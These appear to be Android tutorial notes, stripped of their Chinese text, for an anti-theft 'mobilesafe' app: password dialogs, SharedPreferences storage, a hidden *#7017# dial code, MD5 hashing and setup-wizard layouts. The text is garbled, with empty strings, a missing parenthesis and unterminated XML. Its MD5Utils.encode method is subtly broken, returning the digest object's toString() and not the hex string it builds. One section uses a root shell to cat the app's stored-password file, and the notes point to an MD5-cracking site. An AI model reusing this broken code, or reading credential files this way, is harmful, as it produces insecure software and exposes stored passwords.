
			 	
3
<Button
				android:id="@+id/bt_home_ok"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content"
				android:background="@drawable/selector_btn_green"	//
				android:paddingBottom="5dip"
				android:paddingLeft="10dip"
				android:paddingRight="10dip"
				android:paddingTop="5dip"
				android:text="" 	/>

	



AlertDialog——View

HomeActivity.java				
				/**
					*	4
					*/
				public	void	showEnterDialog(Context	context)	{
								AlertDialog.Builder	builder	=	new	Builder(this);
								final	AlertDialog	alertDialog	=	builder.create();
								View	view	=	View.inflate(context,	R.layout.dialog_enter_pass_home,	null);
								Button	bt_ok	=	(Button)	view.findViewById(R.id.bt_home_ok);
								Button	bt_cancel	=	(Button)	view.findViewById(R.id.bt_home_cancel);
								et_pass	=	(EditText)	view.findViewById(R.id.et_home_enter_pass);
								bt_ok.setOnClickListener(new	OnClickListener()	{
												@Override
												public	void	onClick(View	v)	{
																String	password	=	et_pass.getText().toString().trim();
																if	(TextUtils.isEmpty(password))	{
																				Toast.makeText(HomeActivity.this,	"
" ,	Toast.LENGTH_SHORT).show();
																				return;
																}
																String	pass	=	spf_setPass.getString("password",	"");
																if	(!password.equals(pass))	{
																				Toast.makeText(HomeActivity.this,	"" ,
																												Toast.LENGTH_SHORT).show();
																				return;
																}
																//	TODO:
																Intent	intent	=	new	Intent(HomeActivity.this,	LostFindActivity.class);
																HomeActivity.this.startActivity(intent);
																alertDialog.dismiss();
												}
								});
								bt_cancel.setOnClickListener(new	OnClickListener()	{
												@Override
												public	void	onClick(View	v)	{
																alertDialog.dismiss();
												}
								});
								alertDialog.setView(view,	0,	0,	0,	0);
								alertDialog.show();



				}
				/**
					*	3
					*/
				private	void	showSetPassDialog(Context	context)	{
								AlertDialog.Builder	builder	=	new	Builder(this);
								final	AlertDialog	alertDialog	=	builder.create();
								View	view	=	View.inflate(context,	R.layout.dialog_setup_pass_home,	null);
								Button	bt_ok	=	(Button)	view.findViewById(R.id.bt_home_ok);
								Button	bt_cancel	=	(Button)	view.findViewById(R.id.bt_home_cancel);
								et_pass	=	(EditText)	view.findViewById(R.id.et_home_setPass);
								et_repass	=	(EditText)	view.findViewById(R.id.et_home_setPassConfirm);
								//	
								bt_ok.setOnClickListener(new	OnClickListener()	{
												@Override
												public	void	onClick(View	v)	{
																String	pass	=	et_pass.getText().toString();
																String	repass	=	et_repass.getText().toString();
																if	(TextUtils.isEmpty(pass)	||	TextUtils.isEmpty(repass))	{
																				Log.i(TAG,	"" );
																				Toast.makeText(getApplicationContext(),	"
" ,	Toast.LENGTH_SHORT).show();
																				return;
																}	else	{
																				if	(pass.equals(repass))	{	//	,SharedPreferences
																								Log.i(TAG,	"" );
																								Editor	edit	=	spf_setPass.edit();
																								edit.putString("password",	pass);
																								edit.commit();
																								Toast.makeText(getApplicationContext(),	"
" ,	Toast.LENGTH_SHORT).show();
																				}	else	{//	
																								Log.i(TAG,	"" );
																								Toast.makeText(getApplicationContext(),"
" ,	Toast.LENGTH_SHORT).show();
																								return;
																				}
																}
																alertDialog.dismiss();//	
												}
								});
								//	



								bt_cancel.setOnClickListener(new	OnClickListener()	{
												@Override
												public	void	onClick(View	v)	{
																alertDialog.dismiss();//	
												}
								});
								//	alertDialog.setView(view);//	
								alertDialog.setView(view,	0,	0,	0,	0);//TODO		view alertdialog
left,top,right,buttomviewalertdialog
								alertDialog.show();
				}
dialog_setup_pass_home.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	6	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="300dip"
				android:layout_height="wrap_content"
				android:background="#ffffff"
				android:orientation="vertical"	>
				<TextView
								android:layout_width="match_parent"
								android:layout_height="30dip"
								android:background="#aa00ff00"
								android:gravity="center"
								android:text=""
								android:textColor="#ddff0000"
								android:textSize="18sp"	/>
				<EditText
								android:id="@+id/et_home_setPass"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:hint=""
								android:inputType="textPassword"	>
								<requestFocus	/>
				</EditText>
				<EditText
								android:id="@+id/et_home_setPassConfirm"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:hint=""
								android:inputType="textPassword"	/>
				<LinearLayout



								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:gravity="center"
								android:orientation="horizontal"	>
								<Button
												android:id="@+id/bt_home_ok"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:background="@drawable/selector_btn_green"
												android:paddingBottom="5dip"
												android:paddingLeft="10dip"
												android:paddingRight="10dip"
												android:paddingTop="5dip"
												android:text="" 	/>
								<Button
												android:id="@+id/bt_home_cancel"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:background="@drawable/selector_btn_green"
												android:paddingBottom="5dip"
												android:paddingLeft="10dip"
												android:paddingRight="10dip"
												android:paddingTop="5dip"
												android:text="" 	/>
				</LinearLayout>
</LinearLayout>
UI



1		 LostFindActivity.java	
//	1OptionsMenu
				@Override
				public	boolean	onCreateOptionsMenu(Menu	menu)	{
								MenuInflater	menuInflater	=	new	MenuInflater(this);
								menuInflater.inflate(R.menu.menu_lost_find,	menu);
								return	super.onCreateOptionsMenu(menu);
				}

\res\menu\menu_lost_find.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	1UI	-->
<menu	xmlns:android="http://schemas.android.com/apk/res/android"	>
				<item
								android:id="@+id/item_change_name"
								android:title="" >
				</item>
</menu>

2	 LostFindActivity.java
//	2
				@Override
				public	boolean	onMenuItemSelected(int	featureId,	MenuItem	item)	{
								switch	(item.getItemId())	{
								case	R.id.item_change_name:
												AlertDialog.Builder	builder	=	new	Builder(this);
												builder.setTitle("" );
												final	EditText	et_newname	=	new	EditText(this);
												et_newname.setHint("" );
												builder.setView(et_newname);
												builder.setPositiveButton("" ,	new	OnClickListener()	{
																@Override
																public	void	onClick(DialogInterface	dialog,	int	which)	{
																				String	newName	=	et_newname.getText().toString();//	
																				SharedPreferences	spf_newname	=	getSharedPreferences("config",	MODE_PRIVATE
																				Editor	edit	=	spf_newname.edit();



																				edit.putString("newname",	newName);
																				edit.commit();
																}
												});
												builder.show();
												break;
								}
								return	super.onMenuItemSelected(featureId,	item);
				}
3HomeActivity.java
SharedPreferences	pdf_newnamw	=	getSharedPreferences("config",	MODE_PRIVATE);
												if	(position==0)	{
																String	newname	=	pdf_newnamw.getString("newname",	"");
																if	(!TextUtils.isEmpty(newname))	{
																				tv_name.setText(newname);
																}
												}



UI

1dialog_setup_pass_home.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	6	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="250dp"
				android:layout_height="wrap_content"
				android:background="#ffffff"
				android:orientation="vertical"	>
				<TextView
								android:layout_width="match_parent"
								android:layout_height="30dip"
								android:background="#aa00ff00"
								android:gravity="center"
								android:text=""
								android:textColor="#ddff0000"
								android:textSize="18sp"	/>
				<EditText
								android:id="@+id/et_home_setPass"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:hint=""
								android:inputType="textPassword"	>
								<requestFocus	/>
				</EditText>
				<EditText
								android:id="@+id/et_home_setPassConfirm"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:hint=""
								android:inputType="textPassword"	/>
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:gravity="center_horizontal"
								android:orientation="horizontal"	>
								<Button
												android:id="@+id/bt_home_ok"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"



												android:background="@drawable/selector_btn_green"
												android:paddingBottom="5dip"
												android:paddingLeft="10dip"
												android:paddingRight="10dip"
												android:paddingTop="5dip"
												android:text="" 	/>
								<Button
												android:id="@+id/bt_home_cancel"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:background="@drawable/selector_btn_green"
												android:paddingBottom="5dip"
												android:paddingLeft="10dip"
												android:paddingRight="10dip"
												android:paddingTop="5dip"
												android:text="" 	/>
				</LinearLayout>
</LinearLayout>		



2dialog_setup_pass_home.xml	
<?xml	version="1.0"	encoding="utf-8"?>
<!--	6	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="250dp"
				android:layout_height="wrap_content"
				android:background="#ffffff"
				android:orientation="vertical"	>
				<TextView
								android:layout_width="250dp"
								android:layout_height="30dip"
								android:background="#aa00ff00"
								android:gravity="center"
								android:text=""
								android:textColor="#ddff0000"
								android:textSize="18sp"	/>



				<EditText
								android:id="@+id/et_home_setPass"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:hint=""
								android:inputType="textPassword"	>
								<requestFocus	/>
				</EditText>
				<EditText
								android:id="@+id/et_home_setPassConfirm"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:hint=""
								android:inputType="textPassword"	/>
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:gravity="center_horizontal"
								android:orientation="horizontal"	>
								<Button
												android:id="@+id/bt_home_ok"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:background="@drawable/selector_btn_green"
												android:paddingBottom="5dip"
												android:paddingLeft="10dip"
												android:paddingRight="10dip"
												android:paddingTop="5dip"
												android:text="" 	/>
								<Button
												android:id="@+id/bt_home_cancel"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:background="@drawable/selector_btn_green"
												android:paddingBottom="5dip"
												android:paddingLeft="10dip"
												android:paddingRight="10dip"
												android:paddingTop="5dip"
												android:text="" 	/>
				</LinearLayout>
</LinearLayout>		





-()

dialog_change_name_menu.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	8-	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="200dip"
				android:layout_height="wrap_content"
				android:gravity="center"
				android:background="#ffffff"
				android:orientation="vertical"	>
				<TextView
								android:layout_width="200dip"
								android:layout_height="50dip"
								android:background="#aa00ff00"
								android:gravity="center"
								android:text="@string/change_name_menu"
								android:textColor="#ddff0000"
								android:textSize="18sp"	/>
				<EditText
								android:id="@+id/et_menu_newname"
								android:layout_width="200dip"
								android:layout_height="wrap_content"
								android:ems="10"
								android:textColor="#000000"
								android:hint="@string/please_input_a_newname_for_phone_theft"	>
								<requestFocus	/>
				</EditText>
				<Button
								android:textColor="#000000"
								android:id="@+id/bt_menu_change"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:background="@drawable/selector_btn_green"
								android:text="@string/bt_ok"	/>
</LinearLayout>
selector_btn_green.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	5-	-->
<selector	xmlns:android="http://schemas.android.com/apk/res/android">
				<item	android:drawable="@drawable/btn_green_pressed"	android:state_enabled="true"



				<item	android:drawable="@drawable/btn_green_pressed"	android:state_enabled="true"
				<item	android:drawable="@drawable/btn_green_normal"/>
</selector>

	

-()



SharedPreferences

1DDMS
2 adb	opendir	failed	,permission	denied

linuxsu

rootroot)

C:\Users\hacket>adb	-s	f0f02fad	shell
shell@android:/	$	cd	data
shell@android:/data	$	cd	data
1|shell@android:/data/data	$	su	 adb	opendir	failed	,permission	denied



	
shell@android:/data/data	#	cd	cn.zengfansheng.mobilesafe	DDMS
shell@android:/data/data/cn.zengfansheng.mobilesafe	#	ls	-l

	
shell@android:/data/data/cn.zengfansheng.mobilesafe	#	cd	/shared_prefs
shell@android:/data/data/cn.zengfansheng.mobilesafe/shared_prefs	#	ls



	
shell@android:/data/data/cn.zengfansheng.mobilesafe/shared_prefs	#	cat
config.xml



MD5

MD5 1	 MessageDigest.getInstance("MD5");md5 NoSuchAlgorithmException
2digest(byte[]	b) 	,messageDigest.digest("1234".getBytes());byte[]byte[]
3byte[]byte160xff& 	Integer.toHexString(result)byte16
43byte0
MD5
a)	md5 http://www.cmd5.com/	
b)	webqq http://web2.qq.com/		MD5-		
				|--md5(md5(md5($pass)))			,,
c610~20MD5

package	cn.zengfansheng.md5;
import	java.security.MessageDigest;
import	java.security.NoSuchAlgorithmException;
public	class	Md5DigestDemo	{
				public	static	void	main(String[]	args)	throws	NoSuchAlgorithmException	{
								//	1MD5
								MessageDigest	messageDigest	=	MessageDigest.getInstance("MD5");
								//	2byte[]
								byte[]	digest	=	messageDigest.digest("1234".getBytes());
								//	3byte16
								StringBuilder	sb	=	new	StringBuilder();
								for	(byte	b	:	digest)	{
												int	result	=	b	&	0xff;//	3-1byte(8),0xff
												String	hexString	=	Integer.toHexString(result);//	3-216
												//System.out.print(hexString	+	"	");//	81	dc	9b	db	52	d0	4d	c2	0	36	db	d8	31	3e	d0	55
												if	(hexString.length()	==	1)	{//	3-3	160
																hexString	=	"0"	+	hexString;
												}
												System.out.print(hexString	+	"	");//81	dc	9b	db	52	d0	4d	c2	00	36	db	d8	31	3e	d0	55	
												sb.append(hexString);
								}
								System.out.println("	"	+	sb.toString());
				}
}

MD5
package	cn.zengfansheng.mobilesafe.utils;

http://www.cmd5.com/
http://web2.qq.com/
wiz:open_attachment?guid=cb3edd03-ff41-4700-9932-5b2626d75af9


import	java.security.MessageDigest;
import	java.security.NoSuchAlgorithmException;
/**
	*	1MD5	
	*	
	*	@author	hacket
	*/
public	class	MD5Utils	{
				/**	
					*	1plainText
					*	@param	plainText	
					*	@return	null,null
					*/
				public	static	String	encode(String	plainText)	{
								if	(plainText!=null)	{
												try	{
																MessageDigest	messageDigest	=	MessageDigest.getInstance("md5");
																byte[]	bytes	=	messageDigest.digest(plainText.getBytes());
																StringBuilder	stringBuilder	=	new	StringBuilder();
																for	(byte	b	:	bytes)	{
																				int	result	=	b	&	0xff;
																				String	hexString	=	Integer.toHexString(result);
																				if	(hexString.length()	==	1)	{
																								stringBuilder.append("0");
																				}
																				stringBuilder.append(hexString);
																}
																return	messageDigest.toString();
												}	catch	(NoSuchAlgorithmException	e)	{
																e.printStackTrace();	//	can't	reach	
																return	null;
												}
								}else	{
												return	null;
								}
				}
}

wiz:open_attachment?guid=7570e722-a97e-4ed3-8222-03244b6bc0aa


-*#7017#

1	 BroadcastReceiver	
public	class	OutCallReceiver	extends	BroadcastReceiver	{}
2 intent-filter,1000action
<receiver	android:name="cn.zengfansheng.mobilesafe.receiver.OutCallReceiver"	>
				<intent-filter	android:priority="1000"	>
								<action	android:name="android.intent.action.NEW_OUTGOING_CALL"	/>
				</intent-filter>
</receiver>		
3
<uses-
permission	android:name="android.permission.PROCESS_OUTGOING_CALLS"	/>			
4*#7017# LostFindActivity
/**
	*	1 -
	*	@author	hacket
	*/
public	class	OutCallReceiver	extends	BroadcastReceiver	{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								String	outNumber	=	this.getResultData();
								Intent	intent2	=	new	Intent(context,	LostFindActivity.class);

								//	:	activity	activity	activity.
								//	Activity
								//	context		Activity
								intent2.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

								if	("*#7017#".equals(outNumber))	{
												//	abortBroadcast();//..		
												setResultData(null);
												context.startActivity(intent2);
								}
				}
}

package	cn.zengfansheng.mobilesafe.receiver;
import	android.content.BroadcastReceiver;
import	android.content.Context;



import	android.content.Intent;
import	cn.zengfansheng.mobilesafe.LostFindActivity;
/**
	*	1 -
	*	@author	hacket
	*/
public	class	OutCallReceiver	extends	BroadcastReceiver	{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								String	outNumber	=	this.getResultData();
								Intent	intent2	=	new	Intent(context,	LostFindActivity.class);
								//	:	activity	activity	activity.
								//	Activity
								//	context		Activity
								intent2.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
								if	("*#7017#".equals(outNumber))	{
												//	abortBroadcast();////..		
												setResultData(null);
												context.startActivity(intent2);
								}
				}
}
1	 LostFindActivity

	
2	 abortBroadcast();		
	 		abortBroadcast



	
3	setResultData(null);	nullnull,null,

4 	LostFindActivity 	
LostFindActivity 		

	context		Activity 		
intent2.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);



	

1 layout_marginLeftpaddingLeftlayout_marginLeft
paddingLeft

	

2apk
android:src="@android:drawable/presence_online"

	
android:src="@android:drawable/presence_offline"
	

android:src="@android:drawable/presence_invisible"

	
3@nullstyle
<item	name="android:drawableRight">@null</item>		
4TextView
<TextView
								style="@style/wizard_textview_content"
								android:drawableLeft="@android:drawable/star_on"
								android:text="@string/gps_track"	>
</TextView>
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a)	\res\layout\activity_wizard_setup1.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								style="@style/wizard_textview_title"



								android:text="@string/wizard_welcome_use_phone_safe_theft"	/>
				<TextView
								style="@style/wizard_textview_content"
								android:text="@string/your_phone_safe_guard"	/>
				<TextView
								style="@style/wizard_textview_content"
								android:drawableLeft="@android:drawable/star_on"
								android:text="@string/sim_change_alarm"	>
				</TextView>
				<TextView
								style="@style/wizard_textview_content"
								android:drawableLeft="@android:drawable/star_on"
								android:text="@string/gps_track"	>
				</TextView>
				<TextView
								style="@style/wizard_textview_content"
								android:drawableLeft="@android:drawable/star_on"
								android:text="@string/remote_destroy_data"	>
				</TextView>
				<TextView
								style="@style/wizard_textview_content"
								android:drawableLeft="@android:drawable/star_on"
								android:text="@string/remote_lock_screen"	>
				</TextView>
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:gravity="center_horizontal"
								android:orientation="horizontal"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:contentDescription="@string/presence_online"
												android:src="@android:drawable/presence_online"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:contentDescription="@string/presence_invible"
												android:src="@android:drawable/presence_invisible"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"



												android:contentDescription="@string/presence_invible"
												android:src="@android:drawable/presence_invisible"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:contentDescription="@string/presence_invible"
												android:src="@android:drawable/presence_invisible"	/>
				</LinearLayout>
				<RelativeLayout
								android:layout_width="match_parent"
								android:layout_height="match_parent"	>
								<ImageView
												android:id="@+id/imageView1"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_centerInParent="true"
												android:contentDescription="@string/wizard_setup1"
												android:src="@drawable/wizard_setup1"	/>
								<Button
												style="@style/wizard_bt_previous"
												android:text="@string/wizard_previous"	/>
								<Button
												style="@style/wizard_bt_next"
												android:text="@string/wizard_next_step"	/>
				</RelativeLayout>
</LinearLayout>		
b)	\res\values\styles.xml
<resources>
				<style	name="AppBaseTheme"	parent="android:Theme.Light"></style>
				<style	name="AppTheme"	parent="AppBaseTheme"></style>
				<!--	1TextViewsytle	-->
				<style	name="wizard_textview_title">
								<item	name="android:textSize">20sp</item>
								<item	name="android:gravity">center_vertical</item>
								<item	name="android:textColor">@color/textview_content_color</item>
								<item	name="android:layout_width">match_parent</item>
								<item	name="android:layout_height">55dip</item>
								<item	name="android:background">@color/textview_bg_color</item>
				</style>
				<!--	2TextViewsytle	-->
				<style	name="wizard_textview_content">
								<item	name="android:paddingLeft">5dip</item>



								<item	name="android:paddingBottom">3dip</item>
								<item	name="android:gravity">center_vertical</item>
								<item	name="android:paddingTop">3dip</item>
								<item	name="android:layout_width">match_parent</item>
								<item	name="android:layout_height">wrap_content</item>
								<item	name="android:textSize">18sp</item>
				</style>
				
				<!--	3	-->
				<style	name="wizard_bt_next">
								<item	name="android:layout_width">wrap_content</item>
								<item	name="android:layout_height">wrap_content</item>
								<item	name="android:layout_alignParentBottom">true</item>
								<item	name="android:layout_alignParentRight">true</item>
								<item	name="android:background">@drawable/selector_btn_green</item>
								<item	name="android:paddingBottom">3dip</item>
								<item	name="android:paddingLeft">5dip</item>
								<item	name="android:paddingRight">5dip</item>
								<item	name="android:paddingTop">3dip</item>
								<item	name="android:drawableRight">@drawable/wizard_next</item>
				</style>
				<!--	4	-->
				<style	name="wizard_bt_previous"	parent="@style/wizard_bt_next">
								<item	name="android:layout_alignParentRight">@null</item>
								<item	name="android:layout_alignParentLeft">true</item>
								<item	name="android:drawableRight">@null</item>
								<item	name="android:drawableLeft">@drawable/wizard_previous</item>
				</style>
</resources>		
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a)	activity_wizard_setup2.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								style="@style/wizard_textview_title"



								android:text="@string/phone_sim_bind"	/>
				<TextView
								style="@style/wizard_textview_content"
								android:gravity="left"
								android:text="@string/through_binding_SIM_card"	/>
				<RelativeLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:background="@drawable/bind_sim_selector"
								android:clickable="true"
								android:onClick="bindSim"	>
								<TextView
												style="@style/wizard_textview_content"
												android:layout_marginTop="5dip"
												android:background="@android:color/transparent"
												android:text="@string/click_bind_sim_card"	/>
								<ImageView
												android:id="@+id/iv_setup2_status"
												android:layout_width="25dip"
												android:layout_height="25dip"
												android:layout_alignParentRight="true"
												android:src="@drawable/wizard_unlock"
												tools:ignore="ContentDescription"	/>
				</RelativeLayout>
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:gravity="center_horizontal"
								android:orientation="horizontal"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_invisible"
												tools:ignore="ContentDescription"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_online"
												tools:ignore="ContentDescription"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"



												android:src="@android:drawable/presence_invisible"
												tools:ignore="ContentDescription"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_invisible"
												tools:ignore="ContentDescription"	/>
				</LinearLayout>
				<RelativeLayout
								android:layout_width="fill_parent"
								android:layout_height="fill_parent"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_centerInParent="true"
												android:src="@drawable/wizard_bind"
												tools:ignore="ContentDescription"	/>
								<Button	style="@style/wizard_bt_next"	/>
								<Button	style="@style/wizard_bt_previous"	/>
				</RelativeLayout>
</LinearLayout>		
b)	bind_sim_selector.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	62-sim	-->
<selector	xmlns:android="http://schemas.android.com/apk/res/android">
				<item	android:state_pressed="true"
										android:drawable="@drawable/bind_sim_bg_pressed"	/>	<!--	pressed	-->
				<item	android:state_focused="true"
										android:drawable="@drawable/bind_sim_bg_pressed"	/>	<!--	focused	-->
				<item	android:drawable="@drawable/bind_sim_bg"	/>	<!--	default	-->
</selector>		
c)	bind_sim_bg_pressed.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	72-sim-pressed	-->
<shape	xmlns:android="http://schemas.android.com/apk/res/android"
				android:shape="rectangle"	>
				<corners
								android:bottomLeftRadius="2dip"
								android:bottomRightRadius="2dip"
								android:topLeftRadius="2dip"
								android:topRightRadius="2dip"	/>
				<gradient



								android:endColor="#66ff00"
								android:startColor="#5566ff00"	>
				</gradient>
				<padding
								android:bottom="5dip"
								android:left="5dip"
								android:right="5dip"
								android:top="5dip"	>
				</padding>
</shape>		
d)	bind_sim_bg.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	82-sim-	-->
<shape	xmlns:android="http://schemas.android.com/apk/res/android"
				android:shape="rectangle"	>
				<corners
								android:bottomLeftRadius="2dip"
								android:bottomRightRadius="2dip"
								android:topLeftRadius="2dip"
								android:topRightRadius="2dip"	/>
				<gradient
								android:endColor="#5566ff00"
								android:startColor="#66ff00"	>
				</gradient>
				<padding
								android:bottom="5dip"
								android:left="5dip"
								android:right="5dip"
								android:top="5dip"	>
				</padding>
</shape>		
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a)	activity_wizard_setup3.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	113	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								style="@style/wizard_textview_title"
								android:text="@string/setup_safe_number"	/>



				<TextView
								style="@style/wizard_textview_content"
								android:gravity="left"
								android:text="@string/sim_change_alarm_msg_to_safe_number"	/>
				<EditText
								android:id="@+id/et_setup3_phone"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:hint="@string/please_input_or_select_safe_number"
								android:inputType="phone"	/>
				<Button
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:background="@drawable/selector_btn_green"
								android:onClick="selectContact"
								android:text="@string/select_contact"	/>
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:gravity="center_horizontal"
								android:orientation="horizontal"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_invisible"
												tools:ignore="ContentDescription"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_invisible"
												tools:ignore="ContentDescription"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_online"
												tools:ignore="ContentDescription"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_invisible"
												tools:ignore="ContentDescription"	/>
				</LinearLayout>



				<RelativeLayout
								android:layout_width="fill_parent"
								android:layout_height="fill_parent"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_centerInParent="true"
												android:src="@drawable/wizard_phone"
												tools:ignore="ContentDescription"	/>
								<Button
												style="@style/wizard_bt_previous"
												android:text="@string/wizard_previous_step"	/>
								<Button
												style="@style/wizard_bt_next"
												android:text="@string/wizard_next_step"	/>
				</RelativeLayout>
</LinearLayout>		
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a)	activity_wizard_setup4.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	124	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								style="@style/wizard_textview_title"
								android:text="@string/congratulation_setup_success"	/>



				<CheckBox
								android:id="@+id/cb_setup4_status"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:text="@string/prevent_status"	/>
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:gravity="center_horizontal"
								android:orientation="horizontal"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_invisible"
												tools:ignore="ContentDescription"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_invisible"
												tools:ignore="ContentDescription"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_invisible"
												tools:ignore="ContentDescription"	/>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@android:drawable/presence_online"
												tools:ignore="ContentDescription"	/>
				</LinearLayout>
				<RelativeLayout
								android:layout_width="fill_parent"
								android:layout_height="fill_parent"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_centerInParent="true"
												android:src="@drawable/wizard_phone"
												tools:ignore="ContentDescription"	/>
								<Button
												style="@style/wizard_bt_previous"



												android:text="@string/wizard_previous_step"	/>
								<Button
												style="@style/wizard_bt_next"
												android:text="@string/wizard_next_step"	/>
				</RelativeLayout>
</LinearLayout>		

strings.xml
<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<string	name="app_name">Mobilesafe</string>
				<string	name="action_settings">Settings</string>
				<string	name="activity_home"></string>



				<string	name="home_title"> </string>
				<string	name="app_icon">ICON</string>
				<string	name="activity_setting_center"></string>
				<string	name="input_password"></string>
				<string	name="please_input_ever_setup_password"></string>
				<string	name="bt_ok"></string>
				<string	name="bt_cancel"></string>
				<string	name="sutep_password"></string>
				<string	name="please_input_ever_setup_password_again"></string>
				<string	name="change_name_menu"></string>
				<string	name="please_input_a_newname_for_phone_theft"></string>
				<string	name="wizard_welcome_use_phone_safe_theft">1.</string>
				<string	name="your_phone_safe_guard">: </string>
				<string	name="sim_change_alarm">SIM: </string>
				<string	name="gps_track">GPS </string>
				<string	name="remote_destroy_data"> </string>
				<string	name="remote_lock_screen"></string>
				<string	name="presence_online"></string>
				<string	name="presence_invible"></string>
				<string	name="wizard_setup1">1</string>
				<string	name="wizard_next_step"></string>
				<string	name="wizard_previous_step"></string>
				<string	name="phone_sim_bind">2.</string>
				<string	name="through_binding_SIM_card">SIM:\\nSIM\\n </string>
				<string	name="click_bind_sim_card">SIM</string>
				<string	name="setup_safe_number">3.</string>
				<string	name="sim_change_alarm_msg_to_safe_number">SIM\\n</string>
				<string	name="please_input_or_select_safe_number"></string>
				<string	name="select_contact"></string>
				<string	name="congratulation_setup_success">4., </string>
				<string	name="prevent_status"></string>
</resources>



Shape	Drawable

http://developer.android.com/guide/topics/resources/drawable-
resource.html#Shape
1 res/drawable/filename.xml

2

<?xml	version="1.0"	encoding="utf-8"?>
<shape
				xmlns:android="http://schemas.android.com/apk/res/android"
				android:shape=["rectangle"	|	"oval"	|	"line"	|	"ring"]	>
				<corners					//
								android:radius="integer"
								android:topLeftRadius="integer"
								android:topRightRadius="integer"
								android:bottomLeftRadius="integer"
								android:bottomRightRadius="integer"	/>
				<gradient				//
								android:angle="integer"
